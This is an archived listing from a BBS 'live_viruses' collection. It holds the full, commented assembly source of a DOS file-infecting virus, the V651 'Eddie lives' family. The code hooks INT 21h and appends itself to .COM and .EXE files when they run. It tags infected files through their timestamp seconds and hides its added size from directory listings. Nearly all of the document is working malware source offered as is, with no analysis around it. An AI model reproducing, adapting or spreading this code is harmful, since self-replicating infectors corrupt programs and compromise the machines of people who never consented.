home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / v651.asm < prev    next >
Assembly Source File  |  1990-02-01  |  14KB  |  425 lines

  1.         page    ,132
  2.         .radix  16
  3.  
  4. code    segment
  5.         assume  cs:code,ds:code
  6.  
  7.         org     100
  8.  
  9. ftime   equ     17              ; File time offset in a dir_entry
  10. fsize   equ     1Dh             ; File size offset in a dir_entry
  11.  
  12. ; Offsets of some entries in the EXE-file header:
  13.  
  14. epages  equ     4               ; File size in 512 pages
  15. ehsize  equ     8               ; EXE-header size in paragraphs
  16. ememmin equ     0A              ; Minimum memory required
  17. ememmax equ     0C              ; Maximum memory required
  18. estack  equ     0E              ; Offset of SS:SP
  19. ecode   equ     14              ; Offset of CS:IP
  20. elength equ     18              ; Offset of the file length
  21.  
  22. start:
  23.         jmp     vir_entry
  24.  
  25.         db      (651d - 8) dup (90)     ; A virus trap program
  26.  
  27.         mov     ax,4C00         ; It does nothing - just exits
  28.         int     21
  29.  
  30. vir_entry:
  31.         call    self            ; A common trick for viruses
  32.  
  33. self:
  34.         pop     bx              ; Determine vir_entry's address
  35.         sub     bx,3            ; Keep it in BX
  36.  
  37.         push    ax              ; Save AX
  38.  
  39.         sub     ax,ax           ; Save the original INT 21h handler
  40.         mov     es,ax
  41.         mov     ax,es:[21*4]
  42.         mov     cs:[old_int21-vir_entry+bx],ax
  43.         mov     ax,es:[21*4+2]
  44.         mov     cs:[old_int21-vir_entry+bx+2],ax
  45.  
  46.         mov     ax,0A55A        ; Check if virus already in memory
  47.         int     21
  48.         cmp     ax,5AA5
  49.         je      installed       ; Skip the rest stuff if so
  50.  
  51.         mov     ax,sp           ; AX := (SP + 1) * 16 + 1 + SS
  52.         inc     ax
  53.         mov     cl,4
  54.         shr     ax,cl
  55.         inc     ax
  56.         mov     cx,ss
  57.         add     ax,cx
  58.  
  59.         mov     cx,ds           ; Point ES at program's MCB
  60.         dec     cx
  61.         mov     es,cx
  62.  
  63.         mov     di,2            ; Decrease memory_top by virus' size
  64.         mov     dx,(buffer-vir_entry+24) shr 4 + 1
  65.         mov     cx,[di]
  66.         sub     cx,dx
  67.  
  68.         cmp     cx,ax           ; Enough memory?
  69.         jb      installed       ; Don't install if not
  70.  
  71.         sub     es:[di+1],dx
  72.         mov     [di],cx
  73.  
  74.         mov     es,cx           ; Move the virus' code
  75.         mov     si,bx           ;  to the allocated memory chunk
  76.         sub     di,di
  77.         mov     cx,(ip_save-vir_entry) shr 1
  78.         cld
  79.         db      2E              ; cs:???
  80.         rep     movsw
  81.  
  82.         mov     ax,es           ; Set the new INT 21h handler
  83.         mov     es,cx
  84.         cli                     ; Disable interrupts
  85.         mov     word ptr es:[21*4],new_int21-vir_entry
  86.         mov     word ptr es:[21*4+2],ax
  87.         sti                     ; Enable interrupts
  88.  
  89. installed:
  90.         push    ds              ; ES := DS
  91.         pop     es
  92.  
  93.         mov     ax,cs:[buffer-vir_entry+bx]
  94.         cmp     ax,'ZM'
  95.         je      start_exe
  96.         cmp     ax,'MZ'
  97.         je      start_exe
  98.  
  99. ; Current (infected) file is a .COM one. Start it:
  100.  
  101.         mov     di,100          ; Restore the first 3 bytes of the file
  102.         mov     [di],ax
  103.         mov     al,[buffer-vir_entry+bx+2]
  104.         mov     [di+2],al
  105.  
  106.         pop     ax              ; Restore AX
  107.  
  108.         push    di              ; Jump to CS:100h
  109.         ret                     ;  via funny rts
  110.  
  111. ; Current (infected) file is an .EXE one. Start it:
  112.  
  113. start_exe:
  114.         pop     ax              ; Restore AX
  115.  
  116.         mov     dx,ds
  117.         add     dx,10
  118.         add     cs:[cs_save-vir_entry+bx],dx
  119.         add     dx,cs:[ss_save-vir_entry+bx]
  120.         mov     ss,dx
  121.         mov     sp,cs:[sp_save-vir_entry+bx]
  122.         jmp     dword ptr cs:[ip_save-vir_entry+bx]
  123.  
  124. new_int21:                      ; New INT 21h handler
  125.         sti                     ; Enable interrupts
  126.         cmp     ax,4B00         ; Exec?
  127.         je      new_exec        ; Go to our own routine if so
  128.         cmp     ah,11           ; FindFirst (FCB)?
  129.         je      new_find
  130.         cmp     ah,12           ; FindNext (FCB)?
  131.         je      new_find        ; Go to our own routine if so
  132.         cmp     ax,0A55A        ; Installation check?
  133.         je      inst_chk        ; Indicate virus in memory if so
  134.         jmp     go              ; Otherwise execute the old INT 21h handler
  135.  
  136. new_find:                       ; New FindFirst/FindNext (FCB) handler
  137.         pushf                   ; Execute the original function
  138.         call    dword ptr cs:[old_int21-vir_entry]
  139.         test    al,al
  140.         jnz     loc_7           ; Exit on error
  141.  
  142.         push    ax              ; Save registers AX, BX & ES
  143.         push    bx
  144.         push    es
  145.  
  146.         mov     bx,dx
  147.         mov     al,[bx]
  148.         push    ax              ; Save AX
  149.         mov     ah,2F           ; Get DTA ptr into ES:BX
  150.         int     21
  151.         pop     ax              ; Restore AX
  152.         inc     al
  153.         jnz     skip_1
  154.         add     bx,7
  155. skip_1:
  156.         mov     ax,es:[bx+ftime] ; Get file time
  157.         and     al,1F           ; The seconds more exactly
  158.         cmp     al,1F           ; Is file infected?
  159.         jne     not_inf ; Exit if not
  160.         and     byte ptr es:[bx+ftime],0E0      ; Zero seconds. Why???
  161.  
  162. ; File infected. Adjust file-size field in the directory
  163. ; entry by subtracting the virus length from it.
  164.  
  165.         sub     word ptr es:[bx+fsize],(buffer+3-vir_entry)
  166.         sbb     word ptr es:[bx+fsize+2],0
  167.  
  168. not_inf:
  169.         pop     es              ; Restore ES, BX & AX
  170.         pop     bx
  171.         pop     ax
  172. loc_7:
  173.         iret                    ; Done
  174.  
  175. inst_chk:                       ; Installation check
  176.         not     ax              ; Just invert the number in AX
  177.         iret                    ;  and exit
  178.  
  179. new_exec:                       ; New Exec function handler
  180.         push    ds              ; Save the registers used
  181.         push    es
  182.         push    ax
  183.         push    bx
  184.         push    cx
  185.         push    dx
  186.         push    si
  187.         push    di
  188.  
  189.         mov     ax,3524         ; Get current critical error
  190.         int     21              ;  handler in ES:BX
  191.  
  192.         push    es              ; Save it on stack
  193.         push    bx
  194.  
  195.         push    ds              ; Save DS & DX
  196.         push    dx
  197.  
  198.         push    cs              ; DS := CS
  199.         pop     ds
  200.  
  201.         mov     dx,crit_hndlr-vir_entry
  202.         mov     ax,2524         ; Set new critical error handler
  203.         int     21
  204.  
  205.         pop     dx              ; Restore DX & DS
  206.         pop     ds
  207.  
  208.         mov     ax,4300         ; Get file attributes
  209.         int     21
  210.         jnc     skip_2
  211.         sub     cx,cx
  212.         jmp     exit_3          ; Exit on error
  213.  
  214. skip_2:
  215.         push    cx              ; Save attributes on stack
  216.         test    cl,1            ; Read only file?
  217.         jz      writable        ; Continue if not
  218.  
  219.         dec     cx              ; Turn off the ReadOnly bit
  220.         mov     ax,4301         ; Set new file attributes
  221.         int     21
  222.  
  223. writable:
  224.         mov     ax,3D02         ; Open file with write access
  225.         int     21
  226.  
  227.         push    cs              ; DS := CS
  228.         pop     ds
  229.         jnc     open_ok         ; Continue if open OK
  230.         jmp     exit_2          ; Exit on error
  231.  
  232. open_ok:
  233.         mov     bx,ax           ; Save file handle in BX
  234.  
  235.         mov     ax,5700         ; Get file's date & time
  236.         int     21
  237.         jc      loc_13          ; Exit on error
  238.  
  239.         mov     al,cl           ; Get file's time
  240.         or      cl,1F           ; Mark file as infected
  241.         cmp     al,cl           ; Was file infected?
  242.         jne     infect          ; No, go infect it
  243. loc_13:
  244.         jmp     exit_1          ; Yes, exit
  245.  
  246. infect:
  247.         push    cx              ; Save CX & DX
  248.         push    dx
  249.  
  250.         mov     dx,buffer-vir_entry
  251.         mov     cx,24d          ; Read 24 bytes from the
  252.         mov     ah,3F           ;  beginning of the file
  253.         int     21
  254.         jc      err_exit        ; Exit on error
  255.         sub     cx,ax
  256.         jnz     err_exit        ; Exit on error
  257.  
  258.         les     ax,ds:[buffer+estack-vir_entry]
  259.         mov     ds:[sp_save-vir_entry],es ; Remember the original SS:SP entry
  260.         mov     ds:[ss_save-vir_entry],ax
  261.  
  262.         les     ax,ds:[buffer+ecode-vir_entry]
  263.         mov     ds:[ip_save-vir_entry],ax ; Remember the original CS:IP entry
  264.         mov     ds:[cs_save-vir_entry],es
  265.  
  266.         mov     dx,cx           ; DX := 0
  267.         mov     ax,4202         ; Seek to EOF
  268.         int     21
  269.         jc      err_exit        ; Exit on error
  270.  
  271.         mov     ds:[buffer+elength-vir_entry],ax ; Save original file length
  272.         mov     ds:[buffer+elength+2-vir_entry],dx
  273.  
  274.         mov     cx,(buffer+3-vir_entry)
  275.         cmp     ax,cx           ; Is file large enough?
  276.         sbb     dx,0
  277.         jb      err_exit        ; Exit if sise < 651
  278.         call    is_exe          ; EXE-file?
  279.         je      do_infect       ; Infect it if so
  280.         cmp     ax,64373d       ; COM-file. Is file size < 64373?
  281.         jb      do_infect       ; Infect it if so
  282. err_exit:
  283.         jmp     set_err         ; Otherwise exit
  284.  
  285. ; The file beeng executed is still not infected and matches
  286. ; the size conditions. It can be infected, so do it:
  287.  
  288. do_infect:
  289.         sub     dx,dx           ; Write the virus code after
  290.         mov     ah,40           ;  the end of file (CX == virus length)
  291.         int     21
  292.         jc      err_exit        ; Exit on error
  293.         sub     cx,ax
  294.         jnz     err_exit        ; Exit on error
  295.  
  296.         mov     dx,cx           ; DX := 0
  297.         mov     ax,4200         ; Seek to the beginning of the file
  298.         int     21
  299.         jc      err_exit        ; Exit on error
  300.  
  301.         mov     ax,ds:[buffer+elength-vir_entry]
  302.         call    is_exe          ; Is the file of .EXE-type?
  303.         jne     inf_com         ; No, infect it as a .COM one
  304.  
  305. ; Infection of an .EXE-file:
  306.  
  307.         mov     dx,ds:[buffer+elength+2-vir_entry]
  308.         mov     cx,4
  309.         mov     si,ds:[buffer+ehsize-vir_entry]
  310.         sub     di,di
  311. lp:
  312.         shl     si,1
  313.         rcl     di,1
  314.         loop    lp
  315.  
  316.         sub     ax,si
  317.         sbb     dx,di
  318.         mov     cl,0C
  319.         shl     dx,cl
  320.         mov     ds:[buffer+ecode-vir_entry],ax
  321.         mov     ds:[buffer+ecode+2-vir_entry],dx
  322.         add     dx,31
  323.         nop
  324.         mov     ds:[buffer+estack+2-vir_entry],ax
  325.         mov     ds:[buffer+estack-vir_entry],dx
  326.         add     ds:[buffer+ememmin-vir_entry],9
  327.         mov     ax,ds:[buffer+ememmin-vir_entry]
  328.         cmp     ax,ds:[buffer+ememmax-vir_entry]
  329.         jb      skip_3
  330.         mov     ds:[buffer+ememmax-vir_entry],ax
  331. skip_3:
  332.         mov     ax,ds:[buffer+2-vir_entry]
  333.         add     ax,buffer+3-vir_entry
  334.         push    ax
  335.         and     ah,1
  336.         mov     ds:[buffer+2-vir_entry],ax
  337.         pop     ax
  338.         mov     cl,9
  339.         shr     ax,cl
  340.         add     ds:[buffer+epages-vir_entry],ax
  341.         jmp     short wr_head           ; Done
  342.  
  343. ; Infection of a .COM-file:
  344.  
  345. inf_com:
  346.         sub     ax,3                    ; Put a jump into the virus code
  347.         mov     byte ptr ds:[buffer-vir_entry],0E9      ; as a first
  348.         mov     ds:[buffer+1-vir_entry],ax      ;  instruction of the file
  349.  
  350. wr_head:
  351.         mov     dx,buffer-vir_entry
  352.         mov     cx,24d          ; Write the buffer back to the file
  353.         mov     ah,40
  354.         int     21
  355.         jc      set_err         ; Exit on error
  356.         cmp     ax,cx
  357.         je      exit_0          ; Exit without error
  358.  
  359. set_err:
  360.         stc                     ; Indicate an error has occured
  361.  
  362. exit_0:
  363.         pop     dx              ; Restore DX & CX
  364.         pop     cx
  365.  
  366.         jc      exit_1
  367.         mov     ax,5701         ; Restore file date & time if needed
  368.         int     21
  369.  
  370. exit_1:
  371.         mov     ah,3E           ; Close file
  372.         int     21
  373.  
  374. exit_2:
  375.         pop     cx              ; Restore file attributes from stack
  376.  
  377. exit_3:
  378.         test    cl,1            ; Was file read-only?
  379.         jz      exit_4          ; Skip the following if not
  380.  
  381.         mov     ax,4301         ; Restore file attributes
  382.         int     21
  383.  
  384. exit_4:
  385.         pop     dx              ; Restore the original
  386.         pop     ds              ;  critical error handler
  387.         mov     ax,2524         ;  from the stack
  388.         int     21
  389.  
  390.         pop     di              ; Restore the registers used
  391.         pop     si
  392.         pop     dx
  393.         pop     cx
  394.         pop     bx
  395.         pop     ax
  396.         pop     es
  397.         pop     ds
  398.  
  399. go:                             ; Exit through the old INT 21h handler
  400.         jmp     dword ptr cs:[old_int21-vir_entry]
  401.  
  402. crit_hndlr:                     ; Critical error handler
  403.         mov     al,3            ; Just return Fail (and DOS < 3.0 ???)
  404.         iret                    ;  and exit
  405.  
  406. is_exe:                         ; Tell if the file is an .EXE one
  407.         mov     si,ds:[first_3-vir_entry]
  408.         cmp     si,'ZM'
  409.         je      yes
  410.         cmp     si,'MZ'
  411. yes:
  412.         ret
  413.  
  414.         db      'Eddie lives',0 ; Not used
  415. old_int21       dd      ?       ; Old INT 21h handler
  416. ip_save dw      ?               ; Save places for some
  417. cs_save dw      ?               ;  entries in the .EXE-header
  418. sp_save dw      ?
  419. ss_save dw      ?
  420. buffer  equ     $
  421. first_3 db      0E9,83,2        ; The original first 3 bytes of the file
  422.  
  423. code    ends
  424.         end     start
  425.